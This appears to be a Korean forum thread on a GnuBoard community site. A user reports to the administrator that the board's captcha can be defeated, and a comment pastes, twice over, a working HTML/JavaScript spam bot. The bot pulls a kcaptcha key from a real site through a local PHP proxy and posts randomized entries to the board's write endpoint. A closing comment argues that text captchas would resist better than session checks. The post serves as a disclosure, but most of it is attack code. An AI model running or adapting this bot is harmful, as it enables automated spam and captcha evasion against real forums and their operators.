관리자님 성공했습니다....
오직 php와 javascript로 성공했습니다. 확인해보세요. ^^
댓글 2개
jacobswell
14년 전
<!-- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> -->
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>1 > sdfsdfsdfsdfsdf > 글쓰기</title>
</head>
<script type="text/javascript" src="./md5.js"></script>
<body topmargin="0" leftmargin="0" >
그누보드에 글을 올려볼까요...
<button id="post_btn" onclick="post();">글 올리기</button> <input type="text" value="" size="5" id="display_key" /><br />
<script type="text/javascript">
function getHttpRequest()
{
var req = null;
if (window.ActiveXObject) {
try {
req = new ActiveXObject("Msxml2.XMLHTTP"); // 5.0 이후 버전
}
catch(e) {
try {
req = new ActiveXObject("Microsoft.XMLHTTP"); // 5.0 이전 버전
}
catch(e1) {
req = null;
}
}
}
else if (window.XMLHttpRequest) {
try {
req = new XMLHttpRequest();
}
catch (e) {
req = null;
}
}
return req;
}
var data = {
'id': '',
'name': '임시자',
'password': '1234',
'subject': 'spammer',
'content': 'spam content'
};
var phpsessid = '';
var req = getHttpRequest();
function post()
{
var url = 'http://localhost/spammer/transport.php?transport_url='+encodeURI('http://jobs.sir.co.kr/gnu4/bbs/kcaptcha_session.php')+'&transport_method=get&transport_phpsessid=true&transport_kcaptcha=true';
document.getElementById('display_key').value = '';
req.open('GET', url, false);
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
//alert(req.responseText);
var json_data = eval('('+req.responseText+')');
if (json_data.key) {
document.getElementById('display_key').value = json_data.key;
process(json_data.key);
}
}
}
};
req.send(null);
}
function process(key)
{
var j = Math.floor(Math.random()*10000)+1;
send('테스트'+j.toString(), '테스트 본문 '+j.toString(), key);
}
function send(subject, content, key)
{
var url = 'http://localhost/spammer/transport.php';
var param = 'transport_url='+encodeURI('http://jobs.sir.co.kr/gnu4/bbs/write_update.php')+'&transport_method=post&transport_noresponse=true';
param += '&wr_name='+encodeURI(data.name)+'&mb_id='+encodeURI(data.id)+'&mb_password='+encodeURI(data.password);
param += '&wr_subject='+encodeURI(subject);
param += '&wr_content='+encodeURI(content);
param += '&wr_key='+encodeURI(key);
param += '&w=&bo_table=dsfdfsdfsdsdf&wr_id=';
req.open('POST', url, false);
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.setRequestHeader('content-length', param.length);
req.setRequestHeader('Connection', 'close');
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
pause(1500);
}
}
};
req.send(param);
}
// 그냥 n millis 동안 멈추기
function pause(milis)
{
var now = new Date();
var exitTime = now.getTime()+milis;
while (true) {
now = new Date();
if (now.getTime() > exitTime) return;
}
}
</script>
</body>
</html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>1 > sdfsdfsdfsdfsdf > 글쓰기</title>
</head>
<script type="text/javascript" src="./md5.js"></script>
<body topmargin="0" leftmargin="0" >
그누보드에 글을 올려볼까요...
<button id="post_btn" onclick="post();">글 올리기</button> <input type="text" value="" size="5" id="display_key" /><br />
<script type="text/javascript">
function getHttpRequest()
{
var req = null;
if (window.ActiveXObject) {
try {
req = new ActiveXObject("Msxml2.XMLHTTP"); // 5.0 이후 버전
}
catch(e) {
try {
req = new ActiveXObject("Microsoft.XMLHTTP"); // 5.0 이전 버전
}
catch(e1) {
req = null;
}
}
}
else if (window.XMLHttpRequest) {
try {
req = new XMLHttpRequest();
}
catch (e) {
req = null;
}
}
return req;
}
var data = {
'id': '',
'name': '임시자',
'password': '1234',
'subject': 'spammer',
'content': 'spam content'
};
var phpsessid = '';
var req = getHttpRequest();
function post()
{
var url = 'http://localhost/spammer/transport.php?transport_url='+encodeURI('http://jobs.sir.co.kr/gnu4/bbs/kcaptcha_session.php')+'&transport_method=get&transport_phpsessid=true&transport_kcaptcha=true';
document.getElementById('display_key').value = '';
req.open('GET', url, false);
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
//alert(req.responseText);
var json_data = eval('('+req.responseText+')');
if (json_data.key) {
document.getElementById('display_key').value = json_data.key;
process(json_data.key);
}
}
}
};
req.send(null);
}
function process(key)
{
var j = Math.floor(Math.random()*10000)+1;
send('테스트'+j.toString(), '테스트 본문 '+j.toString(), key);
}
function send(subject, content, key)
{
var url = 'http://localhost/spammer/transport.php';
var param = 'transport_url='+encodeURI('http://jobs.sir.co.kr/gnu4/bbs/write_update.php')+'&transport_method=post&transport_noresponse=true';
param += '&wr_name='+encodeURI(data.name)+'&mb_id='+encodeURI(data.id)+'&mb_password='+encodeURI(data.password);
param += '&wr_subject='+encodeURI(subject);
param += '&wr_content='+encodeURI(content);
param += '&wr_key='+encodeURI(key);
param += '&w=&bo_table=dsfdfsdfsdsdf&wr_id=';
req.open('POST', url, false);
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.setRequestHeader('content-length', param.length);
req.setRequestHeader('Connection', 'close');
req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
pause(1500);
}
}
};
req.send(param);
}
// 그냥 n millis 동안 멈추기
function pause(milis)
{
var now = new Date();
var exitTime = now.getTime()+milis;
while (true) {
now = new Date();
if (now.getTime() > exitTime) return;
}
}
</script>
</body>
</html>
jacobswell
14년 전
핵심 파일은 transport.php인데요... 이걸 올리면 이제 스팸글 많이 올라오겠죠... 결국 PHPSESSID를 붙여넣는 것도 의미가 없다는 이야기입니다. 캡차를 단순히 숫자로 할 경우는 1~2초도 되지 않아 풀립니다. 캡차를 문자까지 넣는 것이 PHPSESSID를 붙이는 것보다 더 효과가 클것 같은데요...
게시판 목록
자유게시판
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 199447 | 2개월 전 | 270 | ||
| 199446 | 2개월 전 | 251 | ||
| 199445 | 2개월 전 | 238 | ||
| 199444 |
비버팩토리
|
2개월 전 | 212 | |
| 199443 | 2개월 전 | 508 | ||
| 199442 | 2개월 전 | 308 | ||
| 199441 | 2개월 전 | 425 | ||
| 199440 | 2개월 전 | 299 | ||
| 199439 | 2개월 전 | 280 | ||
| 199438 |
|
2개월 전 | 494 | |
| 199437 | 2개월 전 | 189 | ||
| 199436 | 2개월 전 | 196 | ||
| 199435 | 2개월 전 | 298 | ||
| 199434 | 2개월 전 | 240 | ||
| 199433 | 2개월 전 | 269 | ||
| 199432 | 2개월 전 | 221 | ||
| 199431 | 2개월 전 | 370 | ||
| 199430 | 2개월 전 | 282 | ||
| 199429 | 2개월 전 | 422 | ||
| 199428 | 2개월 전 | 284 | ||
| 199427 | 2개월 전 | 238 | ||
| 199426 |
|
2개월 전 | 272 | |
| 199425 |
techstar
|
2개월 전 | 270 | |
| 199424 | 2개월 전 | 228 | ||
| 199423 | 2개월 전 | 265 | ||
| 199422 | 2개월 전 | 400 | ||
| 199421 | 2개월 전 | 225 | ||
| 199420 | 2개월 전 | 388 | ||
| 199419 | 2개월 전 | 293 | ||
| 199418 | 2개월 전 | 276 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기